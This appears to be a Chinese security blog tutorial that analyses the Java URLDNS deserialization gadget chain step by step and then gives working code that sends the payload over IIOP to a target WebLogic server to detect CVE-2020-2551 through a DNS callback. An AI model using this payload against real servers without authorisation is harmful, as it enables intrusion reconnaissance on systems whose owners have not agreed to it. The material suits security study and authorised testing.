payload
HashMap ht = new HashMap();
URL u = new URL(url); Reflections.setFieldValue(u, "hashCode", -1);
分析
查看gadget调用链
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
首先查看HashMap的ReadObject 方法。重点查找在哪里调用putVal方法。
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
在调用putVal方法之前会调用hash方法,查看一下源代码
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
如果key不存在的话,hashcode为0。如果key存在的话,则调用key的hashcode方法。在gadget中,key为URL类。所以我们去查看URL的hashCode方法。如下
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
URL类的hashCode很简单。如果hashcode不为-1,则返回hashcode。这也就是前面在构造payload的时候,需要设置hashcode为-1的原因。
随后调用handler的hashCode方法。该类的定义在URL的构造函数中,主要是根据scheme去决定用什么类做handler。例如http等。在这里,理所当然是URLStreamHandler类。所以查看一下URLStreamHandler的hashcode方法
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
}
可以看出,这里调用了getHostAddress,也就是这里会触发dns查询。完成dnslog的gadget工作
实战
这个gadget一般不受jdk版本限制,很适合用来检测目标站点是否存在java反序列化。
cve-2020-2551 weblogic iiop反序列化漏洞
网络上公开的exp,都是基于rmi去执行。但是rmi在高版本jdk被限制了,而且如果是检测的话,很难构造。这时候我们可以使用dnsurl去检测weblogic是否存在iiop反序列化漏洞。代码如下
dnsUrl = String.format("http://%s", dnsUrl.trim());
Context context = createIIopContext(ip, port);
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(dnsUrl); // URL to use as the Key
ht.put(u, dnsUrl); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
final Field field = getField(u.getClass(), "hashCode");
field.set(u, -1);
context.rebind("Fucker"+System.nanoTime(), ht);